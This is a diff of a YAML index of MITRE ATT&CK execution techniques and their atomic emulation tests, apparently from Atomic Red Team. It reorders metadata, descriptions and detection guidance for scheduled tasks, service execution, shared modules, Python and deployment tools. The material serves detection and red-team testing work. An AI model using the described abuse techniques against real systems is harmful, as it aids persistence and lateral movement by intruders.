-        Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.
+      name: Python
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1059/006
+        external_id: T1059.006
+        source_name: mitre-attack
       x_mitre_data_sources:
       - 'Command: Command Execution'
       - 'Process: Process Creation'
+      x_mitre_version: '1.0'
+      modified: '2021-07-26T22:49:23.094Z'
+      x_mitre_system_requirements:
+      - Python is installed.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: execution
+      id: attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1
       x_mitre_platforms:
       - Linux
       - Windows
       - macOS
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      - root
+      description: |-
+        Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the <code>python.exe</code> interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.
+
+        Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.
+      x_mitre_remote_support: false
+      x_mitre_detection: |-
+        Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
+
+        Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.
+      created: '2020-03-09T14:38:24.334Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1059.006
     atomic_tests:
     - name: Execute shell script via python's command mode arguement
@@ -66653,8 +68797,16 @@ execution:
 '
   T1053.005:
     technique:
-      created: '2019-11-27T14:58:00.429Z'
+      type: attack-pattern
       modified: '2020-12-30T14:26:44.730Z'
+      name: Scheduled Task
+      x_mitre_data_sources:
+      - 'Scheduled Job: Scheduled Job Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.0'
+      created: '2019-11-27T14:58:00.429Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
@@ -66662,47 +68814,21 @@ execution:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      type: attack-pattern
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1053.005
-        url: https://attack.mitre.org/techniques/T1053/005
-      - url: https://twitter.com/leoloobeek/status/939248813465853953
-        description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
-          December 12, 2017.
-        source_name: Twitter Leoloobeek Scheduled Task
-      - url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
-        description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
-          settings. Retrieved December 12, 2017.
-        source_name: TechNet Forum Scheduled Task Operational Setting
-      - url: https://technet.microsoft.com/library/dd315590.aspx
-        description: Microsoft. (n.d.). General Task Registration. Retrieved December
-          12, 2017.
-        source_name: TechNet Scheduled Task Events
-      - source_name: Microsoft Scheduled Task Events Win10
-        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
-        description: Microsoft. (2017, May 28). Audit Other Object Access Events.
-          Retrieved June 27, 2019.
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Scheduled Task
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9
       description: |-
         Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The <code>schtasks</code> can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.
 
         The deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At (Windows)](https://attack.mitre.org/techniques/T1053/002)), though <code>at.exe</code> can not access tasks created with <code>schtasks</code> or the Control Panel.
 
         An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).
-      id: attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       x_mitre_remote_support: true
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: |-
         Monitor process execution from the <code>svchost.exe</code> in Windows 10 and the Windows Task Scheduler <code>taskeng.exe</code> for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.
 
@@ -66718,13 +68844,31 @@ execution:
         Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)
 
         Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
-      x_mitre_data_sources:
-      - 'Scheduled Job: Scheduled Job Creation'
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1053/005
+        external_id: T1053.005
+        source_name: mitre-attack
+      - source_name: Twitter Leoloobeek Scheduled Task
+        description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
+          December 12, 2017.
+        url: https://twitter.com/leoloobeek/status/939248813465853953
+      - source_name: TechNet Forum Scheduled Task Operational Setting
+        description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
+          settings. Retrieved December 12, 2017.
+        url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
+      - source_name: TechNet Scheduled Task Events
+        description: Microsoft. (n.d.). General Task Registration. Retrieved December
+          12, 2017.
+        url: https://technet.microsoft.com/library/dd315590.aspx
+      - url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
+        description: Microsoft. (2017, May 28). Audit Other Object Access Events.
+          Retrieved June 27, 2019.
+        source_name: Microsoft Scheduled Task Events Win10
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
       identifier: T1053.005
     atomic_tests:
     - name: Scheduled Task Startup Script
@@ -66908,27 +69052,44 @@ execution:
         name: command_prompt
   T1053:
     technique:
-      id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Scheduled Task/Job
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'Container: Container Creation'
+      - 'Scheduled Job: Scheduled Job Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '2.1'
+      modified: '2021-10-15T14:36:26.445Z'
+      created: '2017-05-31T21:30:46.977Z'
+      x_mitre_contributors:
+      - Prashant Verma, Paladion
+      - Leo Loobeek, @leoloobeek
+      - Travis Smith, Tripwire
+      - Alain Homewood, Insomnia Security
+      id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9
+      x_mitre_platforms:
+      - Windows
+      - Linux
+      - macOS
+      - Containers
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      - User
       description: |-
         Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)
 
         Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1053
-        url: https://attack.mitre.org/techniques/T1053
-      - external_id: CAPEC-557
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/557.html
-      - url: https://technet.microsoft.com/en-us/library/cc785125.aspx
-        description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved
-          June 8, 2016.
-        source_name: TechNet Task Scheduler Security
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
+      x_mitre_effective_permissions:
+      - SYSTEM
+      - Administrator
+      - User
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
@@ -66936,22 +69097,7 @@ execution:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2021-04-20T16:31:11.405Z'
-      created: '2017-05-31T21:30:46.977Z'
-      x_mitre_platforms:
-      - Windows
-      - Linux
-      - macOS
-      - Containers
       x_mitre_remote_support: true
-      x_mitre_effective_permissions:
-      - SYSTEM
-      - Administrator
-      - User
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      - User
       x_mitre_detection: "Monitor scheduled task creation from common utilities using
         command-line invocation. Legitimate scheduled tasks may be created during
         installation of new software or through system administration functions. Look
@@ -66962,27 +69108,42 @@ execution:
         part of a chain of behavior that could lead to other activities, such as network
         connections made for Command and Control, learning details about the environment
         through Discovery, and Lateral Movement."
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'Container: Container Creation'
-      - 'Scheduled Job: Scheduled Job Creation'
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      x_mitre_contributors:
-      - Prashant Verma, Paladion
-      - Leo Loobeek, @leoloobeek
-      - Travis Smith, Tripwire
-      - Alain Homewood, Insomnia Security
-      x_mitre_version: '2.1'
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1053
+        external_id: T1053
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/557.html
+        external_id: CAPEC-557
+        source_name: capec
+      - source_name: TechNet Task Scheduler Security
+        description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved
+          June 8, 2016.
+        url: https://technet.microsoft.com/en-us/library/cc785125.aspx
     atomic_tests: []
   T1064:
     technique:
-      revoked: false
-      id: attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Scripting
+      x_mitre_version: '1.0'
+      modified: '2020-03-30T13:39:24.852Z'
+      created: '2017-05-31T21:30:51.733Z'
+      x_mitre_deprecated: true
+      id: attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44
+      revoked: false
+      x_mitre_defense_bypassed:
+      - Process whitelisting
+      - Data Execution Prevention
+      - Exploit Prevention
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: |-
         **This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.**
 
@@ -66991,107 +69152,90 @@ execution:
         Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.
 
         Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1064
-        url: https://attack.mitre.org/techniques/T1064
-      - source_name: Metasploit_Ref
-        description: Metasploit. (n.d.). Retrieved December 4, 2014.
-        url: http://www.metasploit.com
-      - url: https://www.veil-framework.com/framework/
-        description: Veil Framework. (n.d.). Retrieved December 4, 2014.
-        source_name: Veil_Ref
-      - url: https://github.com/mattifestation/PowerSploit
-        description: PowerSploit. (n.d.). Retrieved December 4, 2014.
-        source_name: Powersploit
-      - url: https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/
-        description: 'Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting
-          of National Security Think Tanks. Retrieved November 12, 2014.'
-        source_name: Alperovitch 2014
-      - url: https://www.uperesia.com/analyzing-malicious-office-documents
-        description: Felix. (2016, September). Analyzing Malicious Office Documents.
-          Retrieved April 11, 2018.
-        source_name: Uperesia Malicious Office Documents
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: execution
-      modified: '2020-03-30T13:39:24.852Z'
-      created: '2017-05-31T21:30:51.733Z'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: |-
         Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
 
         Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.
 
         Analyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)
-      x_mitre_defense_bypassed:
-      - Process whitelisting
-      - Data Execution Prevention
-      - Exploit Prevention
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_deprecated: true
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1064
+        external_id: T1064
+        source_name: mitre-attack
+      - url: http://www.metasploit.com
+        description: Metasploit. (n.d.). Retrieved December 4, 2014.
+        source_name: Metasploit_Ref
+      - source_name: Veil_Ref
+        description: Veil Framework. (n.d.). Retrieved December 4, 2014.
+        url: https://www.veil-framework.com/framework/
+      - source_name: Powersploit
+        description: PowerSploit. (n.d.). Retrieved December 4, 2014.
+        url: https://github.com/mattifestation/PowerSploit
+      - source_name: Alperovitch 2014
+        description: 'Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting
+          of National Security Think Tanks. Retrieved November 12, 2014.'
+        url: https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/
+      - source_name: Uperesia Malicious Office Documents
+        description: Felix. (2016, September). Analyzing Malicious Office Documents.
+          Retrieved April 11, 2018.
+        url: https://www.uperesia.com/analyzing-malicious-office-documents
     atomic_tests: []
   T1569.002:
     technique:
-      created: '2020-03-10T18:33:36.159Z'
-      modified: '2020-03-28T18:52:02.384Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: execution
       type: attack-pattern
-      id: attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4
-      description: |-
-        Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (<code>services.exe</code>) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as <code>sc.exe</code> and [Net](https://attack.mitre.org/software/S0039).
-
-        [PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals)
-
-        Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.
+      modified: '2021-08-30T17:42:40.945Z'
       name: Service Execution
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1569.002
-        url: https://attack.mitre.org/techniques/T1569/002
-      - source_name: Microsoft Service Control Manager
-        url: https://docs.microsoft.com/windows/win32/services/service-control-manager
-        description: Microsoft. (2018, May 31). Service Control Manager. Retrieved
-          March 28, 2020.
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
-        description: Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11.
-          Retrieved May 13, 2015.
-        source_name: Russinovich Sysinternals
-      x_mitre_platforms:
-      - Windows
       x_mitre_data_sources:
       - 'Command: Command Execution'
       - 'Process: Process Creation'
       - 'Service: Service Creation'
       - 'Windows Registry: Windows Registry Key Modification'
+      x_mitre_version: '1.1'
+      created: '2020-03-10T18:33:36.159Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: execution
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4
+      description: |-
+        Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (<code>services.exe</code>) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as <code>sc.exe</code> and [Net](https://attack.mitre.org/software/S0039).
+
+        [PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and <code>sc.exe</code> can accept remote servers as arguments and may be used to conduct remote execution.
+
+        Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      x_mitre_remote_support: true
       x_mitre_detection: Changes to service Registry entries and command line invocation
         of tools capable of modifying services that do not correlate with known software,
         patch cycles, etc., may be suspicious. If a service is used only to execute
         a binary or script and not to persist, then it will likely be changed back
         to its original form shortly after the service is restarted so the service
         is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).
-      x_mitre_remote_support: true
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1569/002
+        external_id: T1569.002
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/windows/win32/services/service-control-manager
+        description: Microsoft. (2018, May 31). Service Control Manager. Retrieved
+          March 28, 2020.
+        source_name: Microsoft Service Control Manager
+      - source_name: Russinovich Sysinternals
+        description: Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11.
+          Retrieved May 13, 2015.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
       identifier: T1569.002
     atomic_tests:
     - name: Execute a Command as a Service
@@ -67170,48 +69314,45 @@ execution:
         name: command_prompt
   T1129:
     technique:
-      id: attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Shared Modules
-      description: "Adversaries may abuse shared modules to execute malicious payloads.
-        The Windows module loader can be instructed to load DLLs from arbitrary local
-        paths and arbitrary Universal Naming Convention (UNC) network paths. This
-        functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106)
-        which is called from functions like <code>CreateProcess</code>, <code>LoadLibrary</code>,
-        etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\n\nThe
-        module loader can load DLLs:\n\n* via specification of the (fully-qualified
-        or relative) DLL pathname in the IMPORT directory;\n    \n* via EXPORT forwarded
-        to another DLL, specified with (fully-qualified or relative) pathname (but
-        without extension);\n    \n* via an NTFS junction or symlink program.exe.local
-        with the fully-qualified or relative pathname of a directory containing the
-        DLLs specified in the IMPORT directory or forwarded EXPORTs;\n    \n* via
-        <code>&#x3c;file name=\"filename.extension\" loadFrom=\"fully-qualified or
-        relative pathname\"&#x3e;</code> in an embedded or external \"application
-        manifest\". The file name refers to an entry in the IMPORT directory or a
-        forwarded EXPORT.\n\nAdversaries may use this functionality as a way to execute
-        arbitrary code on a victim system. For example, malware may execute share
-        modules to load additional components or features."
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1129
-        url: https://attack.mitre.org/techniques/T1129
-      - url: https://en.wikipedia.org/wiki/Microsoft_Windows_library_files
-        description: Wikipedia. (2017, January 31). Microsoft Windows library files.
-          Retrieved February 13, 2017.
-        source_name: Wikipedia Windows Library Files
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Shared Modules
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      - 'Module: Module Load'
+      x_mitre_version: '2.1'
+      modified: '2021-10-15T13:48:02.963Z'
+      created: '2017-05-31T21:31:40.542Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
-      modified: '2020-03-28T18:14:36.980Z'
-      created: '2017-05-31T21:31:40.542Z'
-      x_mitre_is_subtechnique: false
+      id: attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65
       x_mitre_platforms:
       - Windows
+      x_mitre_is_subtechnique: false
       x_mitre_permissions_required:
       - User
+      description: "Adversaries may execute malicious payloads via loading shared
+        modules. The Windows module loader can be instructed to load DLLs from arbitrary
+        local paths and arbitrary Universal Naming Convention (UNC) network paths.
+        This functionality resides in NTDLL.dll and is part of the Windows [Native
+        API](https://attack.mitre.org/techniques/T1106) which is called from functions
+        like <code>CreateProcess</code>, <code>LoadLibrary</code>, etc. of the Win32
+        API. (Citation: Wikipedia Windows Library Files)\n\nThe module loader can
+        load DLLs:\n\n* via specification of the (fully-qualified or relative) DLL
+        pathname in the IMPORT directory;\n    \n* via EXPORT forwarded to another
+        DLL, specified with (fully-qualified or relative) pathname (but without extension);\n
+        \   \n* via an NTFS junction or symlink program.exe.local with the fully-qualified
+        or relative pathname of a directory containing the DLLs specified in the IMPORT
+        directory or forwarded EXPORTs;\n    \n* via <code>&#x3c;file name=\"filename.extension\"
+        loadFrom=\"fully-qualified or relative pathname\"&#x3e;</code> in an embedded
+        or external \"application manifest\". The file name refers to an entry in
+        the IMPORT directory or a forwarded EXPORT.\n\nAdversaries may use this functionality
+        as a way to execute arbitrary payloads on a victim system. For example, malware
+        may execute share modules to load additional components or features."
+      x_mitre_contributors:
+      - Stefan Kanthak
       x_mitre_detection: "Monitoring DLL module loads may generate a significant amount
         of data and may not be directly useful for defense unless collected under
         specific circumstances, since benign use of Windows modules load functions
@@ -67223,46 +69364,52 @@ execution:
         of other events with behavior surrounding module loads using API monitoring
         and suspicious DLLs written to disk will provide additional context to an
         event that may assist in determining if it is due to malicious behavior."
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Module: Module Load'
-      x_mitre_contributors:
-      - Stefan Kanthak
-      x_mitre_version: '2.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1129
+        external_id: T1129
+        source_name: mitre-attack
+      - source_name: Wikipedia Windows Library Files
+        description: Wikipedia. (2017, January 31). Microsoft Windows library files.
+          Retrieved February 13, 2017.
+        url: https://en.wikipedia.org/wiki/Microsoft_Windows_library_files
     atomic_tests: []
   T1072:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1072
-        url: https://attack.mitre.org/techniques/T1072
-      - external_id: CAPEC-187
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/187.html
+      type: attack-pattern
+      name: Software Deployment Tools
+      x_mitre_data_sources:
+      - 'Application Log: Application Log Content'
+      - 'Process: Process Creation'
+      x_mitre_version: '2.1'
+      modified: '2020-12-11T17:00:00.938Z'
+      created: '2017-05-31T21:30:57.201Z'
+      x_mitre_contributors:
+      - Shane Tully, @securitygypsy
+      id: attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - SYSTEM
       description: |-
         Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.).
 
         Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.
 
         The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.
-      name: Software Deployment Tools
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
       - kill_chain_name: mitre-attack
         phase_name: lateral-movement
-      modified: '2020-12-11T17:00:00.938Z'
-      created: '2017-05-31T21:30:57.201Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '2.1'
-      x_mitre_data_sources:
-      - 'Application Log: Application Log Content'
-      - 'Process: Process Creation'
+      x_mitre_remote_support: true
       x_mitre_detection: "Detection methods will vary depending on the type of third-party
         software or system and how it is typically used. \n\nThe same investigation
         process can be applied here as with other potentially malicious activities
@@ -67281,17 +69428,14 @@ execution:
         application deployment at regular times so that irregular deployment activity
         stands out. Monitor process activity that does not correlate to known good
         software. Monitor account login activity on the deployment system."
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      - SYSTEM
-      x_mitre_remote_support: true
-      x_mitre_contributors:
-      - Shane Tully, @securitygypsy
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1072
+        external_id: T1072
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/187.html
+        external_id: CAPEC-187
+        source_name: capec
       identifier: T1072
     atomic_tests:
     - name: Radmin Viewer Utility
@@ -67329,126 +69473,119 @@ execution:
         command: '"#{radmin_exe}"'
   T1153:
     technique:
-      id: attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Source
+      x_mitre_version: '2.0'
+      modified: '2020-03-30T13:40:14.512Z'
+      created: '2017-12-14T16:46:06.044Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: execution
+      x_mitre_deprecated: true
+      id: attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: |-
         **This technique has been deprecated and should no longer be used.**
 
